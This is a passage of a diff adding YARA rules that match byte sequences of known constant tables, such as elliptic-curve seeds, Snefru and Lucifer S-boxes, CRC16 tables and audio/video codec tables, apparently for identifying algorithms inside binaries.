+	$a0 = { 05617aed1bca0d9b4af164c7b58edfa0 }
+
+condition:
+	$a0
+}
+
+	
+rule libfaad2_sa_quant__flt32___32_lil_64_
+{
+strings:
+	$a0 = { 0000000000000000a8354d3d3411363ebc96903d1748903ea8c6cb3dddb5e43ef2410f3ee5f20f3f9565483eef38353fd5e78a3e3d2c643f8863bd3e0000803f }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_DV_dv_audio_shuffle625__16_big_216_
+{
+strings:
+	$a0 = { 000000240048001a003e00620010003400580006002a004e0020004400680016003a005e000c0030005400020026004a001c0040006400120036005a0008002c005000220046006a0018003c0060000e0032005600040028004c001e0042006600140038005c000a002e0052000100250049001b003f00630011003500590007002b004f0021004500690017003b005f000d0031005500030027004b001d0041006500130037005b0009002d005100230047006b0019003d0061000f0033005700050029004d001f0043006700150039005d000b002f0053 }
+
+condition:
+	$a0
+}
+
+	
+rule EC_curve__EC_NIST_CHAR2_163B_SEED__8_byt_20_
+{
+strings:
+	$a0 = { 85e25bfe5c86226cdb12016f7553f9d0e693a268 }
+
+condition:
+	$a0
+}
+
+	
+rule BGMC_Cumulative_frequency_table_14__16_lil_514_
+{
+strings:
+	$a0 = { 0040523fa43ef73d4a3d9d3cf03b443b983aec3940399538ea3741379836f0354835a034f8335133aa3204325f31bb301830752fd32e332e932df42c552cb82b1b2b7e2ae1294529aa2811287827e1264a26b62522258f24fd236e23df225322c7213c21b1202920a11f1c1f971e141e921d121d931c161c991b1f1ba51a2d1ab5193d19c5184f18d9176617f41684161516a9153d15d3146a1404149e133c13da1279121812ba115c110111a6104e10f70fa20f4d0ffb0ea90e5a0e0b0ebe0d710d240dd70c8c0c420cfa0bb30b6e0b2a0be80aa60a660a270aea09ae0974093a090109c90893085d082908f507c4079307630734070707da06af0684065a0630060606dc05b3058a0564053e051905f504d204af048e046d044e042f041104f403d703ba039e03830368034f0336031e030603ef02d802c302ae029a028602730260024d023a02280216020502f401e401d401c501b601a8019a018d018001740168015c01500145013a012f0125011b0111010801ff00f600ed00e500dd00d500cd00c500bd00b500ae00a700a0009a0094008e00880083007e00790074006f006a00650061005d005900550051004d0049004600430040003d003a003700340031002e002b0028002500230021001f001d001b001900170015001300110010000f000e000d000c000b000a000900080007000600050004000300020001000000 }
+
+condition:
+	$a0
+}
+
+	
+rule Snefru_S_box_3__32_big_1024_
+{
+strings:
+	$a0 = { 5a79392bb8af32c241f7720a833a61ec13dfedacc4990bc4dc0f54bcfedd5e8880da18814dea1afdfd402cc6ae67cc7ac52385258ea01254b56b9bd5862fbd6dac8575d36fba3714da7ebf4659cd52388ac9dbfe353729fce497d7f2c3ab84e0f05a114b7b887a75edc603dd5e6fe6802c84b399884eb1da1cb8c8bfaa51098ac862231c8bac222121b387e5208a430d2a3f0f8ba5ff9cd26012a2ea147a9ee7f62a501db4b2e51a3ef3484cc0253c592b82b5360aa9696bbe0c109bc70b7929ce3e8a192f66950e459f1c2ce68fb93da3c3ff3e62b45c62300991cb01914c577f7bc06a182831f5e7b74bcafa50f6d0523caa61e3a7cf05e9e41311280a21d16a4297e1f24dc67efc3189e6b72bf34f4b1e67af543402ce79a598670648e02a00a3ac17c6208d356e7f5f76a45bb4bef168fa633f4125f3f311406f02706565bfe580220cfcfdd90735a7f78f049092d98edc27f5c5d55ce0f201db0dcafc9a7727fb79af43abf426e938c1401b26a6900720fa2752d97bcff1d1b3a9d9e42442db99ab6cf8be5fe82cebe33afb733b6b734eb61036414a975f667c049d6377ba587c60b1d10483de1aefcc1129d05572051e916946d623f9e86ea748768c00b0166c939956bbf01f1f6d84fb15e18e033b495d56e3362e4f44c53c747cba5189d378725d9c331bd2ef9fa8254917f81b106f4737d75553b3f053b07dccd8efd30eb8025889f42d610206d71a7d34a192d87dd8e5f4a315d1cf0e71b22dfe45b901e8eb0fc0ce5e2efa60c92de7429036d0c906381c70e44c6da5b53d81a6827e381f34396c4f5295ad59011db50c5a29982e9e1557689f3471ee42d7e2f7c08795a1e2bc324d8de224c3c812837e39cdee3d747ad2143f0e13d40c78bd4a68a2eb194ddb9451f9859b71dc5c4f5b89ca14a8a4ef92f00316741d9833aa44449e967fbb092e3020d86a35b88cc17b10e1bf08ae55693fc57680ad131e6546e823b6e7b9ee77a4b208ed053344fd2895b6393b6905d6cacf9819b209ecbbb72f9a75779ceaec074994a65aeebdf52dc3d6a25d0482008e4ea6de160f9b036afb228b3a665fb10a70cc338b585378a9dfc908bca94959e25b46909a9766ae8f6edd0683e965f994b46426cda5c24b884032539da063175650d0c815ff50cbc41ef7c774a331b0c2318d0d811624bef16cd555d256df47ea8c6d21eccda887a01284542aeda7b9c1bd914c1bb1a0d5b67d438ce9377030f87371f6b0c7574576baf8bc45419c61d3481960579d17c4daad96a4cb0bc193f2f6756eafa27c1d2f94f4fe2b43cb86e33aebd4c7289d18ae649fe13e303ce0f5deaba1f985addc271868ce6278d45e241fa15c82b73b2293d4739edd32674a6bf15b5d587f4772deaa4a63968f0be68686513d6426939a4787bba892964ec20007818d0d08ff64dfd6 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_dpcm_interplay_delta_table__32_big_1024_
+{
+strings:
+	$a0 = { 000000000000000100000002000000030000000400000005000000060000000700000008000000090000000A0000000B0000000C0000000D0000000E0000000F000000100000001100000012000000130000001400000015000000160000001700000018000000190000001A0000001B0000001C0000001D0000001E0000001F000000200000002100000022000000230000002400000025000000260000002700000028000000290000002A0000002B0000002F00000033000000380000003D00000042000000480000004F000000560000005E00000066000000700000007A00000085000000910000009E000000AD000000BD000000CE000000E1000000F50000010B000001240000013E0000015C0000017B0000019E000001C4000001ED0000021A0000024B00000280000002BB000002FB000003400000038C000003DF000004390000049C000005080000057D000005FE0000068900000722000007C90000087F0000094500000A1E00000B0A00000C0C00000D2500000E5800000FA800001115000012A400001458000016330000183A00001A6F00001CD900001F7B0000225A0000257D000028E800002CA4000030B70000352900003A0300003F4E0000451500004B6200005244000059C5000061F600006AE7000074A800007F4DFFFF8AEBFFFF9798FFFFA56EFFFFB486FFFFC4FFFFFFD6F9FFFFEA97FFFFFFFF0000000100000001000015690000290700003B0100004B7A00005A920000686800007515FFFF80B3FFFF8B58FFFF9519FFFF9E0AFFFFA63BFFFFADBCFFFFB49EFFFFBAEBFFFFC0B2FFFFC5FDFFFFCAD7FFFFCF49FFFFD35CFFFFD718FFFFDA83FFFFDDA6FFFFE085FFFFE327FFFFE591FFFFE7C6FFFFE9CDFFFFEBA8FFFFED5CFFFFEEEBFFFFF058FFFFF1A8FFFFF2DBFFFFF3F4FFFFF4F6FFFFF5E2FFFFF6BBFFFFF781FFFFF837FFFFF8DEFFFFF977FFFFFA02FFFFFA83FFFFFAF8FFFFFB64FFFFFBC7FFFFFC21FFFFFC74FFFFFCC0FFFFFD05FFFFFD45FFFFFD80FFFFFDB5FFFFFDE6FFFFFE13FFFFFE3CFFFFFE62FFFFFE85FFFFFEA4FFFFFEC2FFFFFEDCFFFFFEF5FFFFFF0BFFFFFF1FFFFFFF32FFFFFF43FFFFFF53FFFFFF62FFFFFF6FFFFFFF7BFFFFFF86FFFFFF90FFFFFF9AFFFFFFA2FFFFFFAAFFFFFFB1FFFFFFB8FFFFFFBEFFFFFFC3FFFFFFC8FFFFFFCDFFFFFFD1FFFFFFD5FFFFFFD6FFFFFFD7FFFFFFD8FFFFFFD9FFFFFFDAFFFFFFDBFFFFFFDCFFFFFFDDFFFFFFDEFFFFFFDFFFFFFFE0FFFFFFE1FFFFFFE2FFFFFFE3FFFFFFE4FFFFFFE5FFFFFFE6FFFFFFE7FFFFFFE8FFFFFFE9FFFFFFEAFFFFFFEBFFFFFFECFFFFFFEDFFFFFFEEFFFFFFEFFFFFFFF0FFFFFFF1FFFFFFF2FFFFFFF3FFFFFFF4FFFFFFF5FFFFFFF6FFFFFFF7FFFFFFF8FFFFFFF9FFFFFFFAFFFFFFFBFFFFFFFCFFFFFFFDFFFFFFFEFFFFFFFF }
+
+condition:
+	$a0
+}
+
+	
+rule Lucifer__smith__s1__8_byt_16_
+{
+strings:
+	$a0 = { 07020e09030b00040c0d010a060f0805 }
+
+condition:
+	$a0
+}
+
+	
+rule MPEG4_fir48_4_120__flt64___64_lil_968_
+{
+strings:
+	$a0 = { 00000000000000803ee994a4839e3abfed7e9dacf47945bfb82ed3f3895c42bf00000000000000000e5293c895ed503f57faf3a647b7633f9d188b47668c6f3f161d34ef0478743f43fc2108204d763f4a68591b0dde733f7335a995bfc3683f0000000000000080ae9bbc8bea0270bfe953f6f576a680bffeb7958c8a5988bf3b0277620f5b8dbff3b73386cf138ebf306e4a49746e89bf631f5075494e7ebf000000000000000082b4aadd2234823fe78d718fae5c923f6e1498188b229a3f8998558aebc09e3f03a6b1d01ed59e3f963d54d5ee90993f9180656ec4ef8d3f00000000000000802a258b09df7391bf45865a754b62a1bffbbdb888bb77a8bfa79ab5299982acbf8076664f3957acbfc89c9f4d8b54a7bfef12e9f6ca279bbf0000000000000000be0e1dfdd6679f3f660157d57237af3f067cdb64fdf3b53f9a9999999999b93f4f1ab7101c82b93fe0dbbb98bb15b53fa554d841abb0a83f0000000000000080ff85c0765918adbf78ea5880524fbdbfe69a446c50f5c4bff25dd10446f2c8bf9e70969d7c7dc9bf9521e852debac5bf7768a41a006ebabf0000000000000000f0d26a258450c13f6ba707384dced23f9ccfbbdc20addd3f3aafac929a2ee43f334ce64a8ff6e83fd22f656e2bbeec3f4bbf8621672aef3f000000000000f03f4bbf8621672aef3fd22f656e2bbeec3f334ce64a8ff6e83f3aafac929a2ee43f9ccfbbdc20addd3f6ba707384dced23ff0d26a258450c13f00000000000000007768a41a006ebabf9521e852debac5bf9e70969d7c7dc9bff25dd10446f2c8bfe69a446c50f5c4bf78ea5880524fbdbfff85c0765918adbf0000000000000080a554d841abb0a83fe0dbbb98bb15b53f4f1ab7101c82b93f9a9999999999b93f067cdb64fdf3b53f660157d57237af3fbe0e1dfdd6679f3f0000000000000000ef12e9f6ca279bbfc89c9f4d8b54a7bf8076664f3957acbfa79ab5299982acbffbbdb888bb77a8bf45865a754b62a1bf2a258b09df7391bf00000000000000809180656ec4ef8d3f963d54d5ee90993f03a6b1d01ed59e3f8998558aebc09e3f6e1498188b229a3fe78d718fae5c923f82b4aadd2234823f0000000000000000631f5075494e7ebf306e4a49746e89bff3b73386cf138ebf3b0277620f5b8dbffeb7958c8a5988bfe953f6f576a680bfae9bbc8bea0270bf00000000000000807335a995bfc3683f4a68591b0dde733f43fc2108204d763f161d34ef0478743f9d188b47668c6f3f57faf3a647b7633f0e5293c895ed503f0000000000000000b82ed3f3895c42bfed7e9dacf47945bf3ee994a4839e3abf0000000000000080 }
+
+condition:
+	$a0
+}
+
+	
+rule t_class_16_lo0xE382__16_big_512_
+{
+strings:
+	$a0 = { 0000e38297d374517f719cf3e8a20b20fee21d6069318ab3819362111640f5c2ad134e913ac0d942d26231e045b1a63353f1b073c42227a02c80cf02bb5358d10af1e9739d227ea075809602e25301d1f413179163c080428b6268e01cb1ff33a7e244603031d3b3d8933b114f40acc25900ba82ced32d512671c5f3b1a2522015e2f660823161b36a938911fd401ec2eb0008827cd39f51947177f303a2e020b8f15b732f22cca0c78024025053b3d14613a591d1c032423962dae0aeb14d331f13fc9188c06b42606283e0f7b11433e1f10273762295a09e807d020953ead1b200518225d3c651cd712ef35aa2b9204ce2af60db3138b33393d011a44047c22bc4c846bc175f9554b5b737c36620e4d52636a442f5a177aa5749d53d84de0686d765551104f286f9a61a246e758df778359bb7efe60c640744e4c6909773152135c2b7b6e655645e44bdc6c9972a15dfd73c554804ab86a0a643243775d4f78c266fa41bf5f877f35710d56484870672c49146e51706950db5ee379a6679e43e26dda4a9f54a774157a2d5d6843506c0c423465717b495bfb55c372866cbe4933570b704e6e764ec440fc67b9798156dd78e55fa04198612a6f124857566f734d7d755a30440864ba6a824dc753ff7ca3529b75de6be64b54456c62297c11599c47a460e17ed95e6b50537716692e4672684a4f0f513771857fbd58f846c06 }
+
+condition:
+	$a0
+}
+
+	
+rule EC_curve__EC_X9_62_CHAR2_191V2_SEED__8_byt_20_
+{
+strings:
+	$a0 = { 0871ef2fef24d696e6768756151758bee0d95c15 }
+
+condition:
+	$a0
+}
+
+	
+rule ABC_encryption_window1__32_big_132_
+{
+strings:
+	$a0 = { 8bbc7b0ae774a90613040ec0ea149bd032e3281d38c15589bdc92ea96b587ba0e1009816eaa8475177f1ce29eb94ad46ffd624d089581695f0bbfbd383404b209e66abea798ce4178d1adfb3b8c6bf9f3bbad552923ddd55a6461e22cbf825b81139265eb9cf4535e7c87f14f4f855d37c77f15446c0f13c2d1229e6cf390000a883b17d }
+
+condition:
+	$a0
+}
+
+	
+rule CRC16_poly_0xb005__16_big_refl_True_
+{
+strings:
+	$a0 = { 0000f6cbad8d5b461b01edcab68c40473602c0c99b8f6d442d03dbc8808e76456c049acfc1893742770581ceda882c435a06accdf78b01404107b7ccec8a1a41d8082ec37585834ec30935c26e84984fee0a18c14387b54cf50b03c05886ae4db40c42c71981ef4aaf0d59c60280f44b820e74c52f83d948990f6fc43482c249f00b06c05d86ab4deb0a1dc14687b04cc60930c26b849d4fdd082bc37085864e9c0f6ac43182c749870e71c52a83dc48aa0d5cc60780f14bb10c47c71c81ea4a2803dec8858e73453302c5c99e8f68441e01e8cab38c45470500f3cba88d5e464407b2cce98a1f415f06a9cdf28b0440720584cedf88294369049fcfc4893242a00d56c60d80fb4bbb0c4dc71681e04a960f60c43b82cd498d0e7bc52083d648cc093ac26184974fd70821c37a858c4efa0b0cc05786a14de10a17c14c87ba4c78058eced5882343630495cfce8938424e07b8cce38a15415506a3cdf88b0e401401e2cab98c4f470f00f9cba28d54462203d4c88f8e79453902cfc9948f62445006a6cdfd8b0b404b07bdcce68a1041660490cfcb893d427d058bced08826433c02cac9918f67442703d1c88a8e7c450a00fccba78d51461101e7cabc8c4a47880e7ec52583d348930f65c43e82c849be0c48c71381e54aa50d53c60880fe4be40a12c14987bf4cff0b09c05286a44dd20824c37f85894ec9093fc26484924f }
+
+condition:
+	$a0
+}
+
+	
+rule ima_adpcm_step_table__32_lil_356_
+{
+strings:
+	$a0 = { 0700000008000000090000000a0000000b0000000c0000000d0000000e0000001000000011000000130000001500000017000000190000001c0000001f0000002200000025000000290000002d00000032000000370000003c00000042000000490000005000000058000000610000006b00000076000000820000008f0000009d000000ad000000be000000d1000000e6000000fd0000001701000033010000510100007301000098010000c1010000ee010000200200005602000092020000d40200001c0300006c030000c3030000240400008e040000020500008305000010060000ab0600005607000012080000e0080000c3090000bd0a0000d00b0000ff0c00004c0e0000ba0f00004c11000007130000ee1400000617000054190000dc1b0000a51e0000b621000015250000ca280000df2c00005b3100004b360000b93b0000b2410000444800007e4f0000715700002f600000ce69000062740000ff7f0000 }
+
+condition:
+	$a0
+}
+
+	
+rule libaf_rear_same_side__135_degree___flt32___32_lil_512_
+{
+strings:
+	$a0 = { bfdb953b2029b23af27c7e3c8a0e77b9355c6bbd62850c3d9171043c9730603e92cc983e751aa9bec788a3be34865d3ecc8f793e7d1eb5bd975e213d8d61e83e44a19b3d9e7e39be7d3f923ece55cf3eb20c5bbdf718a1be48a9d3bde5833abdac9640bed88f0bbe97b9d5bd4ff04abec8062bbe9eb8babc85c56d3d9bf5e63b416842bbcaadcf3d4f92ee3d56be553dbedfe83cd50f2a3dd37736ba8c9b71bd2cba1bbd2c15f0bc0b553abd0e7175bd95cb6ebdf63c1abdfec911bdc925a9bcde76bbbb775989bbe35996ba55270f3cfc0dc03cf147c63ce03a9b3cd174aa3c79b4b03c33d7de3b1c7513bcc7ba33bc158d5cbbedb24fbcb70ddbbcceebbfbcdae3bebcaeb7c1bcef66aebc196e15bc1d86723a88bd3338d4a1bdb896b26c391dfceb3bbc0ae93bd9d4503b8bb9043c42c24e3c1cb1003c20601dbb6360bebaf05827bba2a24bbca8f060bcdfb3e5bbc3caeabb634a86bcaeb181bc3a65efbbad826cbbb8e955bbb8834a3b6a98f53bd0d5243b820a4b3886a2e63a7c7c973b5885603bf9f6723b6635693b4912fabaaf7cc6bb92f5e2bbad608ebb72e488bb3d14b0bbf915d9bba3340ebc929d2fbc8ca63abc7d5501bcb6b334bb4c5f7eb81c01a4bab39220bb09e110bba56f19bb8eb56aba50640d3a89efadb9b6db83bbafcf0dbc6e3322bc72f70dbc885db5bb8acc74bb488a34bb653030bb9ad485bb }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_h264_cabac_context_init_I__8_byt_920_
+{
+strings:
+	$a0 = { 14F10236034A14F10236034AE47FE968FA35FF36073300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000029003F003F003FF75304560061F9480D29033E000B01370045EF7FF3660052F94AEB6BE57FE17FE87FEE5FE57FEB72E27FEF7BF473F07AF573F43FFE44F154F368FD46F85DF65AE27FFF4AFA61F95BEC7FFC38FB52F94CEA7DF95DF557FD4DFB47FC3FFC44F454F93EF941083D0538FE420140003DFE4E013207340A23002C0B26012D002E052C1F11013307321C1310210E3EF36CF164F365F35BF45EF658F054F656F953F357ED5E01460048FB4A123BF866F164005FFC4B0248F54BFD470F2EF345003E00411525F14809391036003E0C4818000F0908190D120F090D130A250C12061D14210F1E042D013A003E073D0C260B2D0F270B2A0D2C102D0C290A311E22122A0A371133112E00591AED16EF1AEF1EE71CEC21E925E521E928E426EF21F528F129FA260129111EFA1B031A1625F023FC26F826FD250326052A00231027160E301B25153C0C440261FD47FA2AFB32FD36FE3E003A013FFE48FF4AF75BFB43FB1BFD27FE2C002EF040F844F64EFA4DF656F45CF137F63CFA3EFC41F449F84CF950F758EF6EF561EC54F54FFA49FC4AF356F360F561ED75F84EFB21FC30FE35FD3EF347F64FF456F35AF2610000FA5DFA54F84F0042FF47003EFE3CFE3BFB4BFD3EFC3AF742FF4F004703440A2CF93E0F240E28101B0C1D012C14241220052A01300A3E112E0940F468F561F060F958F855F955F755F3580442FD4DFD4CFA4C0A3AFF4CFF53F963F25F025F004CFB4A0046F54B01440041F249033E043EFF44F34B0B3705400C460F06061307100C0E120D0D0B0D0F0F100C170D170F140E1A0E2C1128112F1811151519161F1B161D13230E320A39073FFE4DFC52FD5E0945F46D24DD24DE20E625E22CE022EE22F128F121F923FB21002602210D17230D3A1DFD1A00161E1FF923F122FD220324FF2205200B2305220C270B1E1D221A1D2713421F151F1F1932EF78EC70EE72F555F15CF259E647F151F2500044F246E838E944E832F54A17F31AF328F131F22C032D062C2221361352FD4BFF170122012B0036FE37003D01400044F75CF26AF361F15AF45AEE58F649F74FF256F649F646F645FB42F740FB3A023B15F618F51CF81CFF1D031D0923141D240E43 }
+
+condition:
+	$a0
+}
+
+	
+rule huffyuv_grad_yuv__8_byt_179_
+{
+strings:
+	$a0 = { 222324252667a809080a0b0b0a0c08ed0e090f0b1008f1f21308d45536170a367736373677b63736353675f4333493b2b110080f090e0a0d090c090b090a0b0908a86726252422422426282a2c2d2e5051527394150a36973a385a391aa2395a38393a383a393a3998373637567534357435343594935231304f2d2c292725232242242628292a4c2d4e2f70715273343537563736373617c136353635343533543332335231702f4e2d2c2b2a292825232200 }
+
+condition:
+	$a0
+}
+
+	
+rule libfaad2_cfft_tab_480__flt64___64_big_7680_
+{
+strings:
+	$a0 = { 3ff000000000000000000000000000003fefff4c600000023f8aceb7e00000d33feffd315ffffffd3f9ace21600000753feff9af1ffffffd3fa419dce00000353feff4c5dffffffc3faacbc76000001d3fefee75dffffffe3fb0be428000001f3fefe6bf200000043fb415e53fffffed3fefdda23ffffffc3fb76ca67ffffff93fefd31f9ffffffe3fbac2609fffffe23fefc7377ffffffe3fbe16ee5fffffe83fefb9ea9ffffffc3fc0b515200000093fefab39600000013fc25df76000000e3fef9b249ffffffe3fc4060b800000063fef89acdffffffd3fc5ad3e9ffffffc3fef76d3000000013fc7537e600000013fef6297bffffffd3fc8f8b84000000a3fef4cfc400000023fca9cd9c000000b3fef3601200000003fcc3fd05ffffffb3fef1da7800000003fcde189c000000e3fef03f0800000013fcf81f38000000e3feee8dd3ffffffc3fd0907dc00000003feecc6ee00000023fd15f47c00000083feeaea6bffffffd3fd22d4ebffffffc3fee8f85fffffffe3fd2fa89a00000033fee6f0e200000033fd3c6ef3fffffff3fee4d405ffffffd3fd49276bffffffa3fee2a1e7ffffffe3fd55d17800000023fee05a9e00000023fd626c83ffffffe3feddfe3fffffffd3fd6ef801ffffff93fedb8cedffffffe3fd7b7367fffffff3fed906bbffffffd3fd87de2bffffffb3fed66bcc00000013fd9437bdffffffc3fed3bc39ffffffc3fda07f9200000063fed0f82400000003fdacb523ffffffe3fece1fa800000013fdb8d7e7ffffffa3fecb32e7ffffffc3fdc4e755fffffff3fec83201ffffffe3fdd0e2e3ffffff83fec51d19ffffffd3fddcca0e00000013fec1f45000000003fde89c5000000003febeb7cc00000013fdf45921ffffffc3febb67adffffffe3fe00000000000003feb8041e00000033fe05c83600000013feb48d3ffffffff3fe0b84edffffffe3feb1033c00000003fe1135ec00000023fead663a00000003fe16daee00000023fea9b661ffffffc3fe1c73b400000043fea5f3de00000023fe22000000000003fea21ed5ffffffc3fe277f93fffffff3fe9e377a00000003fe2cf22ffffffff3fe9a3defffffffd3fe325799ffffffc3fe96326800000023fe37af93fffffff3fe92150e00000033fe3cf9e200000013fe8de611ffffffc3fe423647ffffffc3fe89a5a1fffffff3fe47648bffffffe3fe8553ee00000003fe4c847600000023fe80f123ffffffe3fe5195c800000023fe7c7d7a00000043fe56984a00000033fe77f91e00000013fe5b8bc600000043fe736445fffffff3fe60700200000023fe6ebf1ffffffff3fe6544cbfffffff3fe6a09e5ffffffc3fe6a09e5ffffffc3fe6544c9ffffffd3fe6ebf2200000013fe60700200000023fe736445fffffff3fe5b8bc400000023fe77f92000000033fe56984800000013fe7c7d7bffffffd3fe5195c600000003fe80f12600000003fe4c847400000003fe8553ee00000003fe47648bffffffe3fe89a5a400000023fe423647ffffffc3fe8de613ffffffe3fe3cf9e200000013fe92150fffffffc3fe37af91ffffffd3fe96326a00000043fe325799ffffffc3fe9a3df1fffffff3fe2cf22ffffffff3fe9e377a00000003fe277f91ffffffd3fea21ed7ffffffe3fe22000000000003fea5f3de00000023fe1c73b200000023fea9b663ffffffe3fe16daec00000003fead663c00000023fe1135ec00000023feb1033c00000003fe0b84ec00000053feb48d4200000013fe05c83600000013feb8041e00000033fdfffffe00000073febb67b000000003fdf4591bfffffff3febeb7ce00000033fde89c4e00000073fec1f45200000023fddcca09ffffffd3fec51d19ffffffd3fdd0e2e3ffffff83fec83201ffffffe3fdc4e751ffffffb3fecb32e7ffffffc3fdb8d7e1ffffffd3fece1faa00000033fdacb523ffffffe3fed0f82400000003fda07f8fffffffb3fed3bc3bffffffe3fd9437b7fffffff3fed66bce00000033fd87de2a00000023fed906bbffffffd3fd7b736600000063fedb8cedffffffe3fd6ef7fbffffffc3feddfe41fffffff3fd626c8200000053fee05a9e00000023fd55d173ffffffe3fee2a1e7ffffffe3fd49276e00000053fee4d405ffffffd3fd3c6ef200000063fee6f0e200000033fd2fa89400000063fee8f85fffffffe3fd22d4ea00000033feeaea6bffffffd3fd15f47800000043feecc6f000000043fd0907ddffffff93feee8dd3ffffffc3fcf81f33ffffff83fef03f0800000013fcde1892000000d3fef1da7800000003fcc3fd05ffffffb3fef3601200000003fca9cd95ffffffc3fef4cfc400000023fc8f8b7800000103fef6297dfffffff3fc7537e600000013fef76d3000000013fc5ad3e1ffffff43fef89acdffffffd3fc4060a9fffffef3fef9b249ffffffe3fc25df71ffffff73fefab39600000013fc0b514800000083fefb9ea9ffffffc3fbe16ee5fffffe83fefc7377ffffffe3fbac25fe000000b3fefd31f9ffffffe3fb76ca5000000043fefdda23ffffffc3fb415e4fffffffb3fefe6bf200000043fb0be418000000f3fefee75dffffffe3faacbc7e00000013feff4c5dffffffc3fa419dbdfffffdd3feff9af1ffffffd3f9ace1c6000006c3feffd315ffffffd3f8aceb7ffffff883fefff4c60000002be6777a5bd6ad3cd3ff0000000000000bf8acec3bfffff803fefff4c60000002bf9ace22400000683feffd315ffffffdbfa419dedfffffc53feff9af1ffffffdbfaacbcac00000153feff4c5dffffffcbfb0be43000000043fefee75dffffffebfb415e67ffffff03fefe6bf20000004bfb76ca67ffffff93fefdda23ffffffcbfbac261600000003fefd31f9ffffffebfbe16efe00000243fefc7377ffffffebfc0b515400000023fefb9ea9ffffffcbfc25df7dffffff23fefab3960000001bfc4060b3ffffff03fef9b249ffffffebfc5ad3ee00000123fef89acdffffffdbfc7537f000000023fef76d300000001bfc8f8b84000000a3fef6297bffffffdbfca9cda1ffffff63fef4cfc20000000bfcc3fd0fffffffc3fef3600fffffffebfcde189e00000073fef1da780000000bfcf81f3fffffff23fef03f080000001bfd0907e400000083feee8dd3ffffffcbfd15f47e00000013feecc6ee0000002bfd22d4f000000003feeaea6a0000004bfd2fa897ffffff83fee8f85fffffffebfd3c6ef5ffffff83fee6f0e00000001bfd49277400000023fee4d405ffffffdbfd55d17800000023fee2a1e7ffffffebfd626c85ffffff73fee05a9c0000000bfd6ef801ffffff93feddfe41fffffffbfd7b736c00000033fedb8cec0000005bfd87de2ffffffff3fed906bbffffffdbfd9437bc00000033fed66bce0000003bfda07f95ffffff83fed3bc39ffffffcbfdacb529ffffffb3fed0f821ffffffebfdb8d7e7ffffffa3fece1fa80000001bfdc4e75000000023fecb32e7ffffffcbfdd0e2ea00000073fec832000000005bfddcca0fffffffa3fec51d180000004bfde89c4bffffffc3fec1f4520000002bfdf45927ffffff93febeb7c9fffffffbfe00000200000023febb67adffffffebfe05c833fffffff3feb8041e0000003bfe0b84f200000023feb48d3dffffffdbfe1135ee00000043feb1033c0000000bfe16daee00000023fead663a0000000bfe1c73b7fffffff3fea9b6600000003bfe22000200000023fea5f3dc0000000bfe277f93fffffff3fea21ed7ffffffebfe2cf22dffffffd3fe9e377a0000000bfe32579bffffffe3fe9a3dee0000004bfe37af93fffffff3fe9632680000002bfe3cf9dffffffff3fe92150fffffffcbfe42364c00000003fe8de6100000003bfe47648e00000003fe89a5a1fffffffbfe4c847400000003fe8553ee0000000bfe5195ca00000043fe80f121ffffffcbfe56984bffffffc3fe7c7d7a0000004bfe5b8bc600000043fe77f91e0000001bfe607005ffffffd3fe7364420000004bfe6544cbfffffff3fe6ebf1dffffffdbfe6a09e5ffffffc3fe6a09e5ffffffcbfe6ebf2400000033fe6544c60000002bfe73644800000013fe6070000000000bfe77f92000000033fe5b8bc40000002bfe7c7d7dfffffff3fe569843ffffffdbfe80f12800000023fe5195c3ffffffebfe8553f000000023fe4c84740000000bfe89a5a1fffffff3fe47648e0000000bfe8de61600000003fe4236440000001bfe92150fffffffc3fe3cf9dffffffffbfe96326800000023fe37af93fffffffbfe9a3df400000013fe3257960000001bfe9e377c00000023fe2cf22dffffffdbfea21ed7ffffffe3fe277f93fffffffbfea5f3e1ffffffd3fe21fffbffffffcbfea9b663ffffffe3fe1c73b20000002bfead663a00000003fe16daee0000002bfeb1034000000043fe1135e5ffffffcbfeb48d4200000013fe0b84ec0000005bfeb8041e00000033fe05c833fffffffbfebb67adffffffe3fe0000020000002bfebeb7ce00000033fdf4591a0000006bfec1f45200000023fde89c4bffffffcbfec51d19ffffffd3fddcca0fffffffabfec8320400000003fdd0e2da0000009bfecb32e7ffffffc3fdc4e7500000002bfece1fa800000013fdb8d7e7ffffffabfed0f82600000023fdacb519ffffffdbfed3bc3bffffffe3fda07f8e0000002bfed66bce00000033fd9437bc0000003bfed906c000000013fd87de200000001bfedb8cedffffffe3fd7b73620000002bfeddfe41fffffff3fd6ef8000000000bfee05aa000000043fd626c780000004bfee2a1ea00000003fd55d16fffffffabfee4d407fffffff3fd49276bffffffabfee6f0e3ffffffc3fd3c6ee5ffffffabfee8f86200000003fd2fa8900000002bfeeaea6bffffffd3fd22d4e7ffffff7bfeecc6ee00000023fd15f47e0000001bfeee8dd5ffffffe3fd0907d3ffffff8bfef03f0a00000033fcf81f300000006bfef1da7800000003fcde189c000000ebfef3601200000003fcc3fcf00000000bfef4cfc400000023fca9cd900000011bfef6297dfffffff3fc8f8b820000011bfef76d3000000013fc7537d00000005bfef89acdffffffd3fc5ad3dc0000009bfef9b249ffffffe3fc4060b3ffffff0bfefab39800000033fc25df5bffffffcbfefb9ea9ffffffc3fc0b5141ffffff8bfefc7377ffffffe3fbe16eda0000012bfefd31f9ffffffe3fbac2612000000ebfefdda25ffffffe3fb76ca43fffffe6bfefe6bf3ffffffd3fb415e43fffffddbfefee75dffffffe3fb0be42c0000011bfeff4c5fffffffe3faacbc260000014bfeff9af1ffffffd3fa419da60000031bfeffd315ffffffd3f9ace218000004abfefff4c600000023f8acea2200000c93ff000000000000000000000000000003feffd315ffffffd3f9ace21600000753feff4c5dffffffc3faacbc76000001d3fefe6bf200000043fb415e53fffffed3fefd31f9ffffffe3fbac2609fffffe23fefb9ea9ffffffc3fc0b515200000093fef9b249ffffffe3fc4060b800000063fef76d3000000013fc7537e600000013fef4cfc400000023fca9cd9c000000b3fef1da7800000003fcde189c000000e3feee8dd3ffffffc3fd0907dc00000003feeaea6bffffffd3fd22d4ebffffffc3fee6f0e200000033fd3c6ef3fffffff3fee2a1e7ffffffe3fd55d17800000023feddfe3fffffffd3fd6ef801ffffff93fed906bbffffffd3fd87de2bffffffb3fed3bc39ffffffc3fda07f9200000063fece1fa800000013fdb8d7e7ffffffa3fec83201ffffffe3fdd0e2e3ffffff83fec1f45000000003fde89c5000000003febb67adffffffe3fe00000000000003feb48d3ffffffff3fe0b84edffffffe3fead663a00000003fe16daee00000023fea5f3de00000023fe22000000000003fe9e377a00000003fe2cf22ffffffff3fe96326800000023fe37af93fffffff3